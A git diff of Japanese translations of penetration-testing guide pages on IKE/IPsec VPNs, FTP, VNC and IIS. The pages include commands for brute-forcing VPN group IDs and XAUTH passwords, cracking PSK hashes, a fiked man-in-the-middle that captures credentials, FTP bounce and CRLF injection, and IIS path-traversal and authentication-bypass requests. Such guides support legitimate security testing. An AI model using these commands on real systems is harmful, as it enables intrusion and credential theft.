while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
おそらく **有効な変換が返されます**。\
同じ攻撃を [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) を使用して試すことができます。\
[**ikeforce**](https://github.com/SpiderLabs/ikeforce) を使用して変換をブルートフォースすることもできます:
おそらく**有効な変換が返されます**。\
同じ攻撃を[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)を使用して試すことができます。\
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換をブルートフォースすることもできます:
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
@ -73,13 +73,13 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
**DHグループ: 14 = 2048ビットMODP**および**15 = 3072ビット**\
**2 = HMAC-SHA = SHA1この場合`--trans`フォーマットは$Enc,$Hash,$Auth,$DHです。**
Ciscoは、DHグループ1および2は強度が不十分であるため使用を避けるように指示しています。専門家は、**リソースが豊富な国々はこれらの弱いグループを使用するデータの暗号を簡単に破ることができる**と考えています。これは、コードを迅速に解読するための特別な方法を使用して行われます。この方法を設定するのには多くの費用がかかりますが、これによりこれらの強力な国々は、強度が不十分なグループ(例えば、1,024ビット以下を使用している場合、暗号化されたデータをリアルタイムで読むことができます。
Ciscoは、DHグループ1および2は強度が不十分であるため使用を避けるように指示しています。専門家は、**資源の豊富な国々がこれらの弱いグループを使用するデータの暗号を簡単に破ることができる**と考えています。これは、コードを迅速に解読するための特別な方法を使用して行われます。この方法を設定するのには多くの費用がかかりますが、これにより、強度の低いグループ(例えば1,024ビット以下を使用している場合、これらの強力な国々は暗号化されたデータをリアルタイムで読むことができます。
### サーバーフィンガープリンティング
次に、ike-scanを使用してデバイスの**ベンダーを発見**しようとすることができます。このツールは初期提案を送信し、再生を停止します。その後、サーバーから受信した**メッセージ**と一致する応答パターンとの**時間**の違いを**分析**することで、ペンテスターはVPNゲートウェイのベンダーを成功裏にフィンガープリンティングできます。さらに、一部のVPNサーバーはIKEでオプションの**ベンダーIDVIDペイロード**を使用します。
次に、ike-scanを使用してデバイスの**ベンダーを発見**しようとすることができます。このツールは初期提案を送信し、再生を停止します。その後、受信した**メッセージ**と一致する応答パターンとの**時間**の違いを**分析**することで、ペンテスターはVPNゲートウェイのベンダーを成功裏にフィンガープリンティングできます。さらに、一部のVPNサーバーはIKEでオプションの**ベンダーIDVIDペイロード**を使用します。
**必要に応じて有効な変換を指定します**--transを使用
**必要に応じて有効な変換を指定します**`--trans`を使用)
IKEがベンダーを発見すると、それを印刷します
```
@ -101,20 +101,20 @@ IP Address No. Recv time Delta Time
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
の操作は nmap スクリプト _**ike-version**_ を使用しても達成できます。
れは nmap スクリプト _**ike-version**_ を使っても達成できます。
## 正しい ID (グループ名) の特定
ハッシュをキャプチャするには、Aggressive モードをサポートする有効な変換と正しい ID (グループ名) が必要です。有効なグループ名はわからない可能性が高いため、ブルートフォース攻撃を行う必要があります。\
ハッシュをキャプチャするには、Aggressive モードをサポートする有効な変換と正しい ID (グループ名) が必要です。有効なグループ名はわからないと思うので、ブルートフォースする必要があります。\
そのために、2 つの方法をお勧めします。
### ike-scan を使用した ID のブルートフォース
### ike-scan を使た ID のブルートフォース
まず、偽の ID でリクエストを行い、ハッシュを収集しようとします ("-P"):
まず、偽の ID でリクエストを試みてハッシュを収集します ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
もし**ハッシュが返されない**場合、このブルートフォースの方法は機能する可能性が高いです。**もしハッシュが返される場合、れは偽のIDに対して偽のハッシュが返されることを意味するため、この方法はIDをブルートフォースするには信頼できません**。例えば、偽のハッシュが返されることがあります(これは最新のバージョンで発生します):
もし**ハッシュが返されない**場合、このブルートフォースの方法は機能する可能性が高いです。**もしハッシュが返される場合、れは偽のIDに対して偽のハッシュが返されることを意味するため、この方法はIDをブルートフォースするには信頼できません**。例えば、偽のハッシュが返されることがあります(これは最新のバージョンで発生します):
![](<../images/image (917).png>)
@ -122,13 +122,15 @@ ike-scan -P -M -A -n fakeID <IP>
このスクリプトは**可能なIDをブルートフォースし**、有効なハンドシェイクが返されるIDを返しますこれが有効なグループ名になります
特定の変換を発見した場合は、それをike-scanコマンドに追加してください。そして、いくつかの変換を発見した場合は、すべてを試すために新しいループを追加しても構いませんどれかが正しく機能するまで、すべてを試すべきです
特定の変換を発見した場合は、それをike-scanコマンドに追加してください。そして、いくつかの変換を発見した場合は、それらすべてを試すために新しいループを追加しても構いません(どれかが正しく機能するまで、すべてを試すべきです)。
一般的なグループ名をブルートフォースするために、[ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)や[seclistsの辞書](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用できます:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
{% file src="../images/vpnIDs.txt" %}
{{#file}}
vpnIDs.txt
{{#endfile}}
### Ikerを使ったIDのブルートフォース
@ -142,11 +144,11 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
- **最初の方法**は、**Dead Peer Detection DPD**の情報を**検索**することによってグループ名をブルートフォースすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
- **2番目の方法**は、**各試行に送信された応答の数をチェックする**ことです。正しいIDが使用されると、より多くのパケットが送信されることがあります。
- **3番目の方法**は、**不正なIDに対する応答で「INVALID-ID-INFORMATION」を検索する**ことです。
- **3番目の方法**は、**無効なIDに対する応答で「INVALID-ID-INFORMATION」を検索する**ことです。
- 最後に、サーバーがチェックに対して何も再生しない場合、**ikeforce**はサーバーをブルートフォースし、正しいIDが送信されたときにサーバーがパケットで応答するかどうかを確認します。\
明らかに、IDをブルートフォースする目的は、有効なIDを持っているときに**PSK**を取得することです。その後、**ID**と**PSK**を使用してXAUTHをブルートフォースする必要があります有効な場合
特定の変換を発見した場合は、それをikeforceコマンドに追加してください。また、複数の変換を発見した場合は、それらすべてを試すために新しいループを追加してください(すべてが正しく動作するまで試すべきです)。
特定の変換を発見した場合は、それをikeforceコマンドに追加してください。また、いくつかの変換を発見した場合は、それらすべてを試すために新しいループを追加しても構いません(すべてを試して、どれかが適切に動作するまで続けるべきです)。
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -163,7 +165,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
## Capturing & cracking the hash
最後に、**有効な変換**と**グループ名**を見つけ、**アグレッシブモードが許可されている**場合、非常に簡単にクラック可能なハッシュを取得できます:
最後に、**有効な変換**と**グループ名**を見つけ、**アグレッシブモードが許可されている**場合、クラック可能なハッシュを非常に簡単に取得できます。
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
@ -177,11 +179,11 @@ psk-crack -d <Wordlist_path> psk.txt
**攻撃的モード IKE** は **事前共有鍵 (PSK)** と組み合わせて **グループ認証** の目的で一般的に使用されます。この方法は **XAuth (拡張認証)** によって強化され、追加の **ユーザー認証** 層を導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または同様のシステムを利用します。
**IKEv2** に移行すると、**XAuth** の代わりに **EAP (拡張認証プロトコル)** がユーザー認証の目的で使用される顕著な変化が見られます。この変更は、安全な通信プロトコル内の認証慣行の進化を強調しています。
**IKEv2** に移行すると、**XAuth** の代わりに **EAP (拡張認証プロトコル)** がユーザー認証の目的で使用される顕著な変化が見られます。この変更は、安全な通信プロトコル内の認証慣行の進化を強調しています。
### ローカルネットワーク MitM による資格情報のキャプチャ
したがって、_fiked_ を使用してログインのデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますIKEトラフィックを `fiked` にリダイレクトしてスニッフィングを行う必要がありこれはARPスプーフィングの助けを借りて行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked は VPN エンドポイントとして機能し、XAuth 資格情報をキャプチャします:
したがって、_fiked_ を使用してログインのデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますIKEトラフィックを `fiked` にリダイレクトしてスニッフィングを行う必要があります。これはARPスプーフィングの助けを借りて行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked は VPN エンドポイントとして機能し、XAuth 資格情報をキャプチャします:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
@ -189,11 +191,11 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
### ikeforceを使用したXAUTHユーザー名とパスワードのブルートフォース
**XAUTH**をブルートフォースするには(有効なグループ名**id**と**psk**がわかっている場合)、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます。
**XAUTH**(有効なグループ名**id**と**psk**がわかっている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます。
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
この方法で、ikeforceは各ユーザー名:パスワードの組み合わせを使用して接続を試みます。
このようにして、ikeforceは各ユーザー名:パスワードの組み合わせを使用して接続を試みます。
有効な変換が1つまたは複数見つかった場合は、前のステップと同様にそれらを使用してください。
@ -223,7 +225,7 @@ root@system:~# ifconfig tun0
- `[VPN_USERNAME]``[VPN_PASSWORD]` をVPN認証情報に置き換えます。
- `[PID]``vpnc` が開始されるときに割り当てられるプロセスIDを示します。
VPNを構成する際には、プレースホルダーを置き換えるために実際の安全な値を使用してください。
VPNを構成する際には、プレースホルダーを置き換えるに実際の安全な値を使用してください。
## 参考資料

View File

@ -5,7 +5,7 @@
## 基本情報
**ファイル転送プロトコル (FTP)** は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルです。\
これは**プレーンテキスト**プロトコルで、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。
これは**プレーンテキスト**プロトコルであり、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。
**デフォルトポート:** 21
```
@ -14,11 +14,11 @@ PORT STATE SERVICE
```
### 接続のアクティブとパッシブ
**アクティブFTP**では、FTP **クライアント**が最初に自分のポートNからFTPサーバーのコマンドポートであるポート21に制御**接続**を**開始**します。次に、**クライアント**はポート**N+1**を**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を**開始**し、**自分のポートMからFTPクライアントのポートN+1**に接続します。
**アクティブFTP**では、FTP **クライアント**が最初に制御**接続**をポートNからFTPサーバーのコマンドポートポート21**開始**します。次に、**クライアント**はポート**N+1**を**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を**自分のポートMからFTPクライアントのポートN+1**に**開始**します。
しかし、FTPクライアントが外部からの受信データ接続を制御するファイアウォールを設定している場合、アクティブFTPは問題になる可能性があります。そのための実行可能な解決策パッシブFTPです。
しかし、FTPクライアントが外部からの受信データ接続を制御するファイアウォールを設定している場合、アクティブFTPは問題になる可能性があります。そのための実行可能な解決策パッシブFTPです。
**パッシブFTP**では、クライアントが自分のポートNからFTPサーバーのポート21に制御接続を**開始**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自分のポート番号Mの1つを送信します。そして、**クライアント**は**自分のポートPからFTPサーバーのポートM**にデータ**接続**を**開始**します。
**パッシブFTP**では、クライアントが制御接続をポートNからFTPサーバーのポート21に**開始**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自分のポート番号Mの1つを送信します。そして、**クライアント**は**自分のポートPからFTPサーバーのポートM**にデータ**接続**を**開始**します。
出典: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -105,7 +105,7 @@ ftp <IP>
### 自動化
匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションを使用してデフォルトで実行されます
匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションを使用してデフォルトで実行されます:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -115,14 +115,14 @@ nmap --script ftp-* -p 21 <ip>
```bash
ftp://anonymous:anonymous@10.10.10.98
```
ユーザーが制御するデータを**FTPサーバー**に**直接送信**している**ウェブアプリケーション**がある場合、ダブルURLエンコードされた`%0d%0a`ダブルURLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーに任意のアクションを実行させる**ことができます。この任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス例えばhttpと通信を試みたりすることです。
注意すべきは、**ウェブアプリケーション**がユーザーによって制御されるデータを**直接FTPサーバー**に送信している場合、ダブルURLエンコードされた`%0d%0a`ダブルURLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーが任意のアクションを実行**する可能性があることです。この任意のアクションの一つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス例えばhttpと通信を試みたりすることです。
## FTPからすべてのファイルをダウンロードする
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```
ユーザー名/パスワードに特殊文字が含まれている場合、[のコマンド](https://stackoverflow.com/a/113900/13647948)を使用できます:
ユーザー名/パスワードに特殊文字が含まれている場合、[以下のコマンド](https://stackoverflow.com/a/113900/13647948)を使用できます:
```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
@ -131,13 +131,13 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** サーバーがサポートしているコマンドを示します
- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します_5番目の文字を「0」にし、6番目を10進数でポートとして指定する必要があります。または5番目と6番目を使ってポートを16進数で表現します_
- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します_5番目の文字を「0」に、6番目を10進数でポートに設定する必要があります。または5番目と6番目を使ってポートを16進数で表現します_
- **`EPRT |2|127.0.0.1|80|`** これはFTPサーバーにIP 127.0.0.1のポート80でTCP接続を確立するよう指示します_「2」によって示されます_。このコマンドは**IPv6をサポートしています**。
- **`LIST`** 現在のフォルダー内のファイルのリストを送信します
- **`LIST -R`** 再帰的にリスト(サーバーが許可している場合)
- **`APPE /path/something.txt`** これはFTPに**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示します。ファイル名が存在する場合、データを追加します。
- **`STOR /path/something.txt`** `APPE`のようですが、ファイルを上書きします
- **`STOU /path/something.txt`** `APPE`のようですが、存在する場合は何もしません。
- **`STOR /path/something.txt`** `APPE`のように、しかしファイルを上書きします
- **`STOU /path/something.txt`** `APPE`のように、しかし存在する場合は何もしません。
- **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を通じて指定されたファイルを送信します
- **`REST 6`** これはサーバーに次回`RETR`を使用して何かを送信する際に6バイト目から開始するよう指示します。
- **`TYPE i`** バイナリ転送を設定します
@ -148,34 +148,34 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPバウンス攻撃
一部のFTPサーバーはPORTコマンドを許可しています。このコマンドは、サーバーに他のFTPサーバーの特定のポートに接続したいことを示すために使用できます。これを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンできます。
一部のFTPサーバーはPORTコマンドを許可します。このコマンドは、サーバーに他のFTPサーバーの特定のポートに接続したいことを示すために使用できます。これを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンできます。
[**FTPサーバーを悪用してポートをスキャンする方法をここで学びましょう。**](ftp-bounce-attack.md)
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学びましょう。**](ftp-bounce-attack.md)
この動作を悪用して、FTPサーバーを他のプロトコルと相互作用させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます_新しい管理ユーザーを追加するため_または、FTPリクエストをアップロードして脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\
この動作を悪用して、FTPサーバーを他のプロトコルと対話させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます_新しい管理ユーザーを追加するため_または、FTPリクエストをアップロードして脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\
理論は簡単です:
1. **脆弱なサーバーにリクエスト(テキストファイル内)をアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。
2. **`REST X`を使用して送信したくない文字を送信しないようにします**_リクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを追加する必要があるかもしれません_
1. **リクエスト(テキストファイル内)を脆弱なサーバーにアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。
2. **`REST X`を使用して送信したくない文字を送信しないようにします**おそらくリクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを追加する必要がありました)。
3. **`PORT`を使用して任意のサーバーとサービスに接続します**
4. **`RETR`を使用して保存されたリクエストをサーバーに送信します。**
これは**_**ソケットが書き込み可能ではない**_**というエラーを引き起こす可能性が非常に高いです。**接続が`RETR`でデータを送信するのに十分な時間がないためです。これを回避するための提案は次のとおりです:
これは**_**ソケットが書き込み可能ではない**_**というエラーを引き起こす可能性が非常に高いです。**接続が`RETR`でデータを送信するのに十分な時間がないためです**。これを回避するための提案は次のとおりです:
- HTTPリクエストを送信している場合、**同じリクエストを連続して送信します**、少なくとも**\~0.5MB**まで。次のように:
- HTTPリクエストを送信している場合、**同じリクエストを次々と送信します**、少なくとも**\~0.5MB**まで。次のように:
{% file src="../../images/posts.txt" %}
{{#file}}
posts.txt
{% endfile %}
{{#endfile}}
- **プロトコルに関連する「ジャンク」データでリクエストを埋める**ことを試みますFTPと話す場合は、ジャンクコマンドや`RETR`命令を繰り返してファイルを取得すること)
- **リクエストを多くのヌル文字やその他の文字で埋める**(行で分けるかどうかは問わず)
- **プロトコルに関連する「ジャンク」データでリクエストを埋める**FTPに話しかける場合は、ジャンクコマンドや`RETR`命令を繰り返してファイルを取得すること)
- **リクエストを多くのヌル文字やその他のもので埋める**(行を分けるかどうかは問わず)
いずれにせよ、ここに[異なるFTPサーバーからファイルをダウンロードするためにこれを悪用する古い例があります。](ftp-bounce-download-2oftp-file.md)
## Filezillaサーバーの脆弱性
**FileZilla**は通常、**ローカル**に**FileZilla-Server**ポート14147のための**管理サービス**を**バインド**します。このポートにアクセスするために**トンネル**を作成できれば、**空のパスワード**を使用して**接続**し、FTPサービスのために**新しいユーザー**を**作成**できます。
**FileZilla**は通常、**ローカル**に**FileZilla-Server**ポート14147のための**管理サービス**を**バインド**します。このポートにアクセスするために**あなたのマシン**から**トンネル**を作成できれば、**空のパスワード**を使用して**接続**し、FTPサービスのために**新しいユーザー**を**作成**できます。
## 設定ファイル
```

View File

@ -6,7 +6,7 @@
**Virtual Network Computing (VNC)** は、**Remote Frame Buffer (RFB)** プロトコルを利用して、別のコンピュータとのリモート制御とコラボレーションを可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することで、リモートコンピュータとシームレスに対話できます。これにより、リアルタイムでのアクセスが可能になり、ネットワークを介した効率的なリモート支援やコラボレーションが促進されます。
VNCは通常、ポート **5800 または 5801 または 5900 または 5901** を使用します。
VNCは通常、ポート**5800または5801または5900または5901**を使用します。
```
PORT STATE SERVICE
5900/tcp open vnc
@ -26,7 +26,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
デフォルトの**パスワードは保存されています**: \~/.vnc/passwd
VNCパスワードを持っていて、それが暗号化されているように見える場合数バイト、暗号化されたパスワードのように見える場合、それはおそらく3desで暗号化されています。クリアテキストのパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。
VNCパスワードを持っていて、それが暗号化されているように見える場合数バイト、暗号化されたパスワードのように見える場合、それはおそらく3desで暗号化されています。平文のパスワードを取得するには[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用できます。
```bash
make
vncpwd <vnc password file>
@ -35,11 +35,12 @@ vncpwd <vnc password file>
**Windows**の場合、このツールも使用できます: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
アクセスを容易にするために、ここにもツールを保存します:
{% file src="../images/vncpwd.zip" %}
{{#file}}
vncpwd.zip
{{#endfile}}
## Shodan
- `port:5900 RFB`
{{#include ../banners/hacktricks-training.md}}

View File

@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016
```
## .configファイルの実行
.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、HTMLコメント内にファイルの最後にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、ファイルの最後にHTMLコメント内にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
この脆弱性を悪用するための詳細情報と技術は[here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)にあります。
@ -37,7 +37,9 @@ X-FEServer: NHEXCHANGE2016
私が作成したリストをダウンロードしてください:
{% file src="../../images/iisfinal.txt" %}
{{#file}}
iisfinal.txt
{{#endfile}}
これは、以下のリストの内容を統合して作成されました:
@ -57,8 +59,8 @@ X-FEServer: NHEXCHANGE2016
完全な詳細は次のリンクを確認してください: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> 要約すると、アプリケーションのフォルダ内に複数のweb.configファイルがあり、"**assemblyIdentity**"ファイル"**namespaces**"への参照があります。この情報を使用して、**実行可能ファイルの場所**を知り、それをダウンロードすることが可能です。\
> **ダウンロードしたDll**からは、**新しい名前空間**を見つけてアクセスし、web.configファイルを取得して新しい名前空間とassemblyIdentityを見つけることも可能です。\
> 要約すると、アプリケーションのフォルダ内に複数のweb.configファイルがあり、"**assemblyIdentity**"ファイル"**namespaces**"への参照があります。この情報を使用して、**実行可能ファイルの場所**を知り、それをダウンロードすることが可能です。\
> **ダウンロードしたDll**からは、**新しいnamespaces**を見つけてアクセスし、web.configファイルを取得して新しいnamespacesとassemblyIdentityを見つけることも可能です。\
> また、**connectionstrings.config**および**global.asax**ファイルには興味深い情報が含まれている可能性があります。\\
**.Net MVCアプリケーション**では、**web.config**ファイルは、アプリケーションが依存する各バイナリファイルを**"assemblyIdentity"** XMLタグを通じて指定する重要な役割を果たします。
@ -74,15 +76,15 @@ Host: example-mvc-application.minded
- **EntityFramework** バージョン
- ウェブページ、クライアント検証、および JavaScript のための **AppSettings**
- 認証とランタイムのための **System.web** 構成
- 認証とランタイムのための **System.web** 設定
- **System.webServer** モジュール設定
- **Microsoft.Owin**、**Newtonsoft.Json**、および **System.Web.Mvc** のような多数のライブラリのための **Runtime** アセンブリバインディング
これらの設定は、特定のファイル(例:**/bin/WebGrease.dll**)がアプリケーションの /bin フォルダー内にあることを示しています。
これらの設定は、**/bin/WebGrease.dll** のような特定のファイルがアプリケーションの /bin フォルダー内に存在することを示しています。
### **ルートディレクトリファイル**
ルートディレクトリに見つかるファイル(例:**/global.asax** および **/connectionstrings.config**(機密パスワードを含む))は、アプリケーションの構成と動作に不可欠です。
ルートディレクトリに見つかるファイル、例えば **/global.asax** と **/connectionstrings.config**(機密パスワードを含む)は、アプリケーションの設定と動作に不可欠です。
### **名前空間と Web.Config**
@ -98,9 +100,9 @@ Host: example-mvc-application.minded
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
これは、/binディレクトリに**System.Web.Mvc.dll**や**System.Web.Optimization.dll**などの他の重要なDLLの存在を示唆しています。
これは、/bin ディレクトリに **System.Web.Mvc.dll****System.Web.Optimization.dll** のような他の重要な DLL の存在を示唆しています。
DLLが**WebApplication1.Areas.Minded**という名前空間をインポートするシナリオでは、攻撃者は、/binフォルダ内の他のDLLへの特定の構成と参照を含む、**/area-name/Views/**のような予測可能なパスに他のweb.configファイルが存在することを推測するかもしれません。例えば、**/Minded/Views/web.config**へのリクエストは、別のDLLである**WebApplication1.AdditionalFeatures.dll**の存在を示す構成や名前空間を明らかにすることができます。
DLL **WebApplication1.Areas.Minded** という名前空間をインポートするシナリオでは、攻撃者は **/area-name/Views/** のような予測可能なパスに他の web.config ファイルが存在することを推測するかもしれません。これらのファイルには、特定の構成や /bin フォルダ内の他の DLL への参照が含まれています。例えば、**/Minded/Views/web.config** へのリクエストは、別の DLL **WebApplication1.AdditionalFeatures.dll** の存在を示す構成や名前空間を明らかにすることがあります。
### 一般的なファイル
@ -185,19 +187,19 @@ C:\xampp\tomcat\conf\server.xml
次のようなエラーが表示された場合:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
サーバーが**ホストヘッダー内に正しいドメイン名を受信しなかった**ことを意味します。\
ウェブページにアクセスするために、提供された**SSL証明書**を確認し、そこにドメイン/サブドメイン名があるかもしれません。もしそこにない場合は、**VHostsをブルートフォース**して正しいものを見つける必要があります。
これは、サーバーが**Hostヘッダー内に正しいドメイン名を受信しなかった**ことを意味します。\
ウェブページにアクセスするに、提供された**SSL証明書**を確認し、そこにドメイン/サブドメイン名があるかもしれません。もしそこにない場合は、**VHostsをブルートフォース**して正しいものを見つける必要があります。
## 注目すべき古いIISの脆弱性
### Microsoft IISチルダ文字「\~」脆弱性/機能 短いファイル/フォルダ名の漏洩
### Microsoft IISチルダ文字「\~」脆弱性/機能 短いファイル/フォルダ名の漏洩
この**技術**を使用して、発見された各フォルダ内の**フォルダとファイルを列挙**することができます(基本認証が必要な場合でも)。\
この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。
この**技術**を使用して、発見されたすべてのフォルダー内の**フォルダーとファイルを列挙**することができます(基本認証が必要な場合でも)。\
この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。
この脆弱性をテストするために[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用してこの脆弱性をテストできます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
@ -211,7 +213,7 @@ C:\xampp\tomcat\conf\server.xml
**バイパス**基本認証(**IIS 7.5**)を試みる:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php`
この**脆弱性**と前のものを**組み合わせて**新しい**フォルダ**を見つけ、認証を**バイパス**することができます。
この**脆弱性**と前のものを**組み合わせて**新しい**フォルダ**を見つけ、認証を**バイパス**することができます。
## ASP.NET Trace.AXD 有効なデバッグ
@ -239,7 +241,7 @@ ASPXAUTHは次の情報を使用します
## キャッシュされたパスワードによるIIS認証バイパス (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグが**ユーザーによって提供されたパスワードを適切にチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。
[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグにより、**ユーザーが提供したパスワードを正しくチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。
```python
# script for sanity check
> type test.py

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## 自動スキャン
### droopescan
